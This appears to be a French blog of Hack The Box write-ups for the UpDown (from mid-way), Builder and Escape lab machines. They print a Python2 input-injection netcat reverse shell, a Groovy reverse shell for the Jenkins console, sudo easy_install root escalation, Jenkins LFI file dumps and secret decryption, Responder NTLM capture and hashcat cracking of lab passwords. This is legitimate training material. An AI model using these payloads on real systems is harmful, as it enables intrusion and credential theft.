drwxr-xr-x 6 developer developer 4.0K Aug 30 2022 ..
-rwsr-x--- 1 developer www-data 17K Jun 22 2022 siteisup
-rwxr-x--- 1 developer www-data 154 Jun 22 2022 siteisup_test.py

Dans ce code Python, on observe l’utilisation de la fonction “input”. De plus, le code est executé avec Python2 et non pas Python3. Sous Python2, lors de l’utilisation de la fonction “input” Python ne considère pas par défaut qu’il s’agit d’une String, et tente donc de le parser. On peut donc injecter du code python pour ouvrir un reverse shell. Sous Python3, la sortie de input("") est une Str par défaut donc pas d’injection possible :

Payload:

import(‘os’).system(‘rm /tmp/b;mkfifo /tmp/b;cat /tmp/b|bash -i 2>&1|nc 10.10.14.14 8888 >/tmp/b’)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
 print "Website is up"
else:
 print "Website is down"

-------------------------

www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:__import__('os').system('rm /tmp/b;mkfifo /tmp/b;cat /tmp/b|bash -i 2>&1|nc 10.10.14.14 8888 >/tmp/b')
rm: cannot remove '/tmp/b': No such file or directory

On obtient un nouveau reverse shell en tant que ‘developer’

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


$ nc -lnvp 8888
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 10.10.11.177.
Ncat: Connection from 10.10.11.177:45492.
developer@updown:/home/developer/dev$ whoami
whoami
developer
developer@updown:/home/developer/dev$ cd ..
developer@updown:/home/developer$ ls -l .ssh
ls -l .ssh
total 12
-rw-rw-r-- 1 developer developer 572 Aug 2 2022 authorized_keys
-rw------- 1 developer developer 2602 Aug 2 2022 id_rsa
-rw-r--r-- 1 developer developer 572 Aug 2 2022 id_rsa.pub
developer@updown:/home/developer$ cat .ssh/id_rsa
cat .ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
........
3zga8EzubgwnpU7r9hN2jWboCCIOeDtvXFv08KT8pFDCCA+sMa5uoWQlBqmsOWCLvtaOWe
N4jA+ppn1+3e0AAAASZGV2ZWxvcGVyQHNpdGVpc3VwAQ==
-----END OPENSSH PRIVATE KEY-----

On trouve la clé SSH de developer nous permettant de nous connecter facilement via ce protocole :

1
2
3
4
5
6
7
8


$ vim developer.key
$ chmod 600 developer.key
$ ssh developer@10.10.11.177 -i developer.key
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-122-generic x86_64)
....
Last login: Tue Aug 30 11:24:44 2022 from 10.10.14.36
developer@updown:~$ cat user.txt
d235....edcf

developer -> root

easy_install as root

1
2
3
4
5
6


developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
 (ALL) NOPASSWD: /usr/local/bin/easy_install

Sur GTFObins, on trouve un chemin d’exploitation pour passer root:
https://gtfobins.github.io/gtfobins/easy_install/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo easy_install $TF

------------------------

developer@updown:/tmp$ TF=$(mktemp -d)
developer@updown:/tmp$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:/tmp$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.hlSwiYYkel
Writing /tmp/tmp.hlSwiYYkel/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.hlSwiYYkel/egg-dist-tmp-KNZfWR
# whoami
root
# cat /root/root.txt 
7077....3986

Il suffit de créer un dossier, avec un fichier setup.py expliquant comment notre module python doit s’installer. On injecte un code malveillant dans ce fichier et il sera executer en tant que root lors du lancement de easy_install.

HTB | Builder

Sat, 25 Oct 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Builder	Windows	10.10.11.10	Medium

Users

1

- jennifer : **princess**

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.11.10
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
| 256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
8080/tcp open http syn-ack ttl 62 Jetty 10.0.18
|_http-title: Dashboard [Jenkins]
| http-robots.txt: 1 disallowed entry
|_/
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Jetty(10.0.18)

Foothold

Jenkins 2.441 - port 8080

Local File Inclusion - CVE-2024-23897

On trouve sur internet que Jenkins 2.441 est vulnérable à une LFI, permettant d’accéder à n’importe quel fichier sur la machine : https://www.exploit-db.com/exploits/51993

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


$ python3 exploit.py -u http://10.10.11.10:8080
Press Ctrl+C to exit
File to download:
> /etc/hosts
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.2 0f52c222a4cc
::1 localhost ip6-localhost ip6-loopback
ff00::0 ip6-mcastprefix
127.0.0.1 localhost
fe00::0 ip6-localnet
File to download:
> /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
root:x:0:0:root:/root:/bin/bash
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

Dans le /etc/hosts, on trouve:

172.17.0.2 0f52c222a4cc

On en déduit que jenkins tourne dans un docker, au vu de l’ip en 172 et du hostname en hexadecimal.

Dans /etc/passwd, on trouve le dossier contenant les fichiers de Jenkins:

jenkins:x:1000:1000::/var/jenkins_home:/bin/bash

Toujours à l’aide de la LFI, on tente de récupérer le fichier de configuration de Jenkins pour obtenir des credentials :

/var/jenkins_home

En cherchant sur internet, je comprends que chaque utilisateur à un fichier config.xml contenant probablement le hachage de leur mot de passe.

/var/lib/jenkins/users/jenkins_[udid]/config.xml

De plus, j’ai télécharger la version de Jenkins 2.441 que j’ai installé sur une machine virtuelle, afin de pouvoir observer correctement l’arborescence des fichiers. Sur le dashboard de Jenkins, j’ai trouvé le nom d’utilisateur “jennifer” qui semble correspondre au compte administrateur.

En regardant de plus près dans les fichiers de mon installation de Jenkins, j’ai trouvé un fichier /var/lib/jenkins/users/users.xml contenant la liste des users et leur uid. En dumpant ce fichier, on trouve l’uid de jennifer, et donc le nom du dossier:

jennifer_12108429903186576833

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


> /var/jenkins_home/users/users.xml
<?xml version='1.1' encoding='UTF-8'?>
 <string>jennifer_12108429903186576833</string>
 <idToDirectoryNameMap class="concurrent-hash-map">
 <entry>
 <string>jennifer</string>
 <version>1</version>
</hudson.model.UserIdMapper>
 </idToDirectoryNameMap>
<hudson.model.UserIdMapper>
 </entry>

Enfin, je tente de récupérer le fichier config.xml de jennifer :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


File to download:
> /var/jenkins_home/users/jennifer_12108429903186576833/config.xml
...
<?xml version='1.1' encoding='UTF-8'?>
 <fullName>jennifer</fullName>
 <seed>6841d11dc1de101d</seed>
 <id>jennifer</id>
 <version>10</version>
 <tokenStore>
 <filterExecutors>false</filterExecutors>
 <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>
 <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>

J’ai obtenu le hachage de jennifer sur lequel j’ai pu effectuer une attaque par dictionnaire avec la liste rockyou.txt :

1
2


$ hashcat -m 3200 hash.txt ~/wordlists/rockyou.txt --show
$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a:princess

On obtient finalement les credentials de jennifer nous permettant d’obtenir un accès administrateur sur l’interface web de Jenkins :

jennifer : princess

Jenkins Reverse Shell

http://10.10.11.10:8080/manage/script

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


String host="10.10.14.11";int port=1337;String cmd="bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

-------------------

nc -lnvp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.11.10.
Ncat: Connection from 10.10.11.10:34418.

cat /var/jenkins_home/user.txt
7712.....64b9

Privilege Escalation

Root - SSH Private Key

https://devops.stackexchange.com/questions/2191/how-to-decrypt-jenkins-passwords-from-credentials-xml

On trouve un fichier credentials.xml contenant un secret chiffré :

/var/jenkins_home/credentials.xml :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


<?xml version='1.1' encoding='UTF-8'?>
...
<com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin="credentials@1319.v7eb_51b_3a_c97b_">
 <java.util.concurrent.CopyOnWriteArrayList>
 <privateKey>{AQAAABAAAAowLrfCrZx9baWliwrtC...........HaB1OTIcTxtaaMR8IMMaKSM=}</privateKey>
 </privateKeySource>
 <username>root</username>
 <usernameSecret>false</usernameSecret>
 </com.cloudbees.plugins.credentials.domains.Domain>
...

Après quelques recherches sur le web, on comprend que les informations contenus dans ce fichier correspondent à des mots de passe ou clés SSH chiffrés, associés à des utilisateurs. Sur l’interface graphique de Jenkins, on observe qu’une clé SSH semble enregistrée pour un utilisateur root.

Sur un forum en ligne, on nous explique que le secret dans la balise “” du fichier credentials.xml peut etre déchiffré en se rendant dans la console disponible sur la GUI : http://10.10.11.10:8080/script

Il suffit alors d’executer la commande suivante :

println(hudson.util.Secret.decrypt("{PRIVATE_KEY}"))

Ce qui nous donne :

println(hudson.util.Secret.decrypt("{AQAAABAAAAo…IcTxtaaMR8IMMaKSM=}"))

Sur le screenshot, on observe l’execution du script qui nous permet de récupérer une clé privée SSH :

SSH as root

A l’aide de la clé SSH, on se connecte directement en tant que root sur la machine :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


$ vim root.key
$ chmod 600 root.key
$ ssh root@10.10.11.10 -i root.key
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-94-generic x86_64)
...
Last login: Mon Feb 12 13:15:44 2024 from 10.10.14.40
root@builder:~# ls
root.txt
root@builder:~# cat root.txt
a9aa.....0396

HTB | Escape

Wed, 10 Sep 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Escape	Windows	10.10.11.202	Medium

Users

1
2
3
4


# SQL Server
PublicUser : GuestUserCantWrite1
sql_svc : REGGIE1234ronnie
Ryan.cooper : NuclearMosquito3

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.11.202
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-09-10 22:21:01Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after: 2074-01-05T23:03:57
| MD5: ee4cc647ebb2c23ef4721d7028809d82
| SHA-1: d88d12ae8a50fcf12242909e3dd75cff92d1a480
| -----BEGIN CERTIFICATE-----
| MIIFkTCCBHmgAwIBAgITHgAAAAsyZYRdLEkTIgAAAAAACzANBgkqhkiG9w0BAQsF
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-09-10T22:22:35+00:00; +8h00m00s from scanner time.
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after: 2074-01-05T23:03:57
| MD5: ee4cc647ebb2c23ef4721d7028809d82
| SHA-1: d88d12ae8a50fcf12242909e3dd75cff92d1a480
| -----BEGIN CERTIFICATE-----
| MIIFkTCCBHmgAwIBAgITHgAAAAsyZYRdLEkTIgAAAAAACzANBgkqhkiG9w0BAQsF
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-09-10T22:22:34+00:00; +7h59m59s from scanner time.
1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-10T22:17:26
| Not valid after: 2055-09-10T22:17:26
| MD5: 8f5d163bc1ef9dbb2b789cdf2d7b5a90
| SHA-1: 6c89bf0840566f823a006405fce65a4f0570de19
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQfAGJqsgHZopA2ARCvdHiZTANBgkqhkiG9w0BAQsFADA7
| JfvGOQ==
|_-----END CERTIFICATE-----
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2025-09-10T22:22:35+00:00; +8h00m00s from scanner time.
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-10T22:22:35+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after: 2074-01-05T23:03:57
| MD5: ee4cc647ebb2c23ef4721d7028809d82
| SHA-1: d88d12ae8a50fcf12242909e3dd75cff92d1a480
| -----BEGIN CERTIFICATE-----
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after: 2074-01-05T23:03:57
| MD5: ee4cc647ebb2c23ef4721d7028809d82
| SHA-1: d88d12ae8a50fcf12242909e3dd75cff92d1a480
| -----BEGIN CERTIFICATE-----
| MIIFkTCCBHmgAwIBAgITHgAAAAsyZYRdLEkTIgAAAAAACzANBgkqhkiG9w0BAQsF
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-09-10T22:22:34+00:00; +7h59m59s from scanner time.
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49687/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49688/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49706/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49709/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

Host script results:
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m58s
| smb2-time:
| date: 2025-09-10T22:21:54
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 63970/tcp): CLEAN (Timeout)
| Check 2 (port 24393/tcp): CLEAN (Timeout)
| Check 3 (port 50586/udp): CLEAN (Timeout)
| Check 4 (port 24268/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 311:
|_ Message signing enabled and required

Foothold

A l’aide de l’utilisateur guest et sans mot de passe, on réussi à lister les SMB SHARES. Le share Public est accessible en lecture.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


$ nxc smb 10.10.11.202 -u 'guest' -p '' --shares
SMB 10.10.11.202 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.202 445 DC [+] sequel.htb\guest:
SMB 10.10.11.202 445 DC [*] Enumerated shares
SMB 10.10.11.202 445 DC Share Permissions Remark
SMB 10.10.11.202 445 DC ----- ----------- ------
SMB 10.10.11.202 445 DC ADMIN$ Remote Admin
SMB 10.10.11.202 445 DC C$ Default share
SMB 10.10.11.202 445 DC IPC$ READ Remote IPC
SMB 10.10.11.202 445 DC NETLOGON Logon server share
SMB 10.10.11.202 445 DC Public READ
SMB 10.10.11.202 445 DC SYSVOL Logon server share

On trouve un fichier “SQL Server Procedures.pdf” dans le share Public à l’aide de l’utilisateur guest. J’utilise ici uniquement nxc pour extraire le fichier.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


$ nxc smb 10.10.11.202 -u 'guest' -p '' -M spider_plus
SMB 10.10.11.202 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.202 445 DC [+] sequel.htb\guest:
SPIDER_PLUS 10.10.11.202 445 DC [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.10.11.202 445 DC [*] DOWNLOAD_FLAG: False
SPIDER_PLUS 10.10.11.202 445 DC [*] STATS_FLAG: True
SPIDER_PLUS 10.10.11.202 445 DC [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.10.11.202 445 DC [*] EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.10.11.202 445 DC [*] MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.10.11.202 445 DC [*] OUTPUT_FOLDER: /root/.nxc/modules/nxc_spider_plus
SMB 10.10.11.202 445 DC [*] Enumerated shares
SMB 10.10.11.202 445 DC Share Permissions Remark
SMB 10.10.11.202 445 DC ----- ----------- ------
SMB 10.10.11.202 445 DC ADMIN$ Remote Admin
SMB 10.10.11.202 445 DC C$ Default share
SMB 10.10.11.202 445 DC IPC$ READ Remote IPC
SMB 10.10.11.202 445 DC NETLOGON Logon server share
SMB 10.10.11.202 445 DC Public READ
SMB 10.10.11.202 445 DC SYSVOL Logon server share
SPIDER_PLUS 10.10.11.202 445 DC [+] Saved share-file metadata to "/root/.nxc/modules/nxc_spider_plus/10.10.11.202.json".
SPIDER_PLUS 10.10.11.202 445 DC [*] SMB Shares: 6 (ADMIN$, C$, IPC$, NETLOGON, Public, SYSVOL)
SPIDER_PLUS 10.10.11.202 445 DC [*] SMB Readable Shares: 2 (IPC$, Public)
SPIDER_PLUS 10.10.11.202 445 DC [*] SMB Filtered Shares: 1
SPIDER_PLUS 10.10.11.202 445 DC [*] Total folders found: 0
SPIDER_PLUS 10.10.11.202 445 DC [*] Total files found: 1
SPIDER_PLUS 10.10.11.202 445 DC [*] File size average: 48.39 KB
SPIDER_PLUS 10.10.11.202 445 DC [*] File size min: 48.39 KB
SPIDER_PLUS 10.10.11.202 445 DC [*] File size max: 48.39 KB

$ cat /root/.nxc/modules/nxc_spider_plus/10.10.11.202.json
{
 "Public": {
 "SQL Server Procedures.pdf": {
 "atime_epoch": "2022-11-19 12:50:54",
 "ctime_epoch": "2022-11-17 20:47:32",
 "mtime_epoch": "2022-11-19 12:51:25",
 "size": "48.39 KB"
 }
 }
}

$ nxc smb 10.10.11.202 -u 'guest' -p '' --get-file "\\SQL Server Procedures.pdf" "SQL Server Procedures.pdf" --share Public
SMB 10.10.11.202 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.202 445 DC [+] sequel.htb\guest:
SMB 10.10.11.202 445 DC [*] Copying "\SQL Server Procedures.pdf" to "SQL Server Procedures.pdf"
SMB 10.10.11.202 445 DC [+] File "\SQL Server Procedures.pdf" was downloaded to "SQL Server Procedures.pdf"

Credentials for MSSQL

Le document “SQL Server Procedures.pdf” est une procedure pour se connecter à une instance de SQL Server.

Ce document fait mention de plusieurs utilisateurs : Ryan, Tom, brandon.brown.
On récupère même des credentials pour se connecter au serveur SQL :

PublicUser : GuestUserCantWrite1

1
2
3
4


Bonus
For new hired and those that are still waiting their users to be created and perms assigned, can sneak a peek at the Database with
user PublicUser and password GuestUserCantWrite1 .
Refer to the previous guidelines and make sure to switch the "Windows Authentication" to "SQL Server Authentication".

MSSQL : xp_dirtree and responder

En utilisant mssqlclient, on se connecte au sql server avec l’utilisateur récupéré.

On peut alors effectuer une requête avec la commande xp_dirtree afin d’effectuer une fausse requête pour énumerer un share sur notre ordinateur (IP de l’attaquant).
Dans le même temps on lance un responder qui se met en attente. L’idée est la commande est executé de manière authentifier avec l’utilisateur sql_svc, et le responder peut intercepter ses credentials.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


mssqlclient.py "DC"/"PublicUser":"GuestUserCantWrite1"@"10.10.11.202"
Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands

SQL (PublicUser guest@master)> xp_dirtree \\10.10.14.10\fake\file
subdirectory depth file
------------ ----- ----

Ici, on observe la reception du hachage du mot de passe de l’utilisateur sql_svc.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


$ responder -I tun0 -w -F
 __
 .----.-----.-----.-----.-----.-----.--| |.-----.----.
 | _| -__|__ --| _ | _ | | _ || -__| _|
 |__| |_____|_____| __|_____|__|__|_____||_____|__|
 |__|

 NBT-NS, LLMNR & MDNS Responder 3.1.5.0
...

[+] Listening for events...

[!] Error starting TCP server on port 53, check permissions or other servers running.
[SMB] NTLMv2-SSP Client : 10.10.11.202
[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash : sql_svc::sequel:1122334455667788:0ED55C287EF37F6AD239ED0D6FE449A0:010100000000000000B9CE454A23DC018C349009419598CF000000000200080044004C005200500001001E00570049004E002D005A004A00320059004300360033004D0035003400480004003400570049004E002D005A004A00320059004300360033004D003500340048002E0044004C00520050002E004C004F00430041004C000300140044004C00520050002E004C004F00430041004C000500140044004C00520050002E004C004F00430041004C000700080000B9CE454A23DC0106000400020000000800300030000000000000000000000000300000051C4546D071DE4532ED8EA78B4BE4B4FB7296E7379A3F3F9319A487E526B2A10A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310030000000000000000000

Hashcat : sql_svc password

On trouve le mot de passe de sql_svc à l’aide de hashcat et la liste rockyou.txt.

1
2


$ hashcat -m 5600 ./hash.txt ~/wordlists/rockyou.txt --show
SQL_SVC::sequel:112233.....0000000:REGGIE1234ronnie

ERRORLOG.BAK : Ryan.Cooper password

On peut alors se connecter au compte sql_svc avec evilwinrm et obtenir un powershell sur la machine :

1
2


$ evil-winrm -u 'sql_svc' -p 'REGGIE1234ronnie' -i "10.10.11.202"
...

On trouve le mot de passe de Ryan.cooper dans un fichier de logs de SQL Server : NuclearMosquito3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


*Evil-WinRM* PS C:\SQLServer\Logs> ls

 Directory: C:\SQLServer\Logs

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/7/2023 8:06 AM 27608 ERRORLOG.BAK
*Evil-WinRM* PS C:\SQLServer\Logs> download "C:/SQLServer/Logs/ERRORLOG.BAK"

Warning: Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command

Info: Downloading C:/SQLServer/Logs/ERRORLOG.BAK to ERRORLOG.BAK

----------------------------------

$ cat ERRORLOG.BAK | grep -i pass
2022-11-18 13:43:06.75 spid18s Password policy update was successful.
2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]

$ evil-winrm -u 'Ryan.Cooper' -p 'NuclearMosquito3' -i "10.10.11.202"

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> type "C:/Users/Ryan.Cooper/Desktop/user.txt"
d3b6.....cd0e

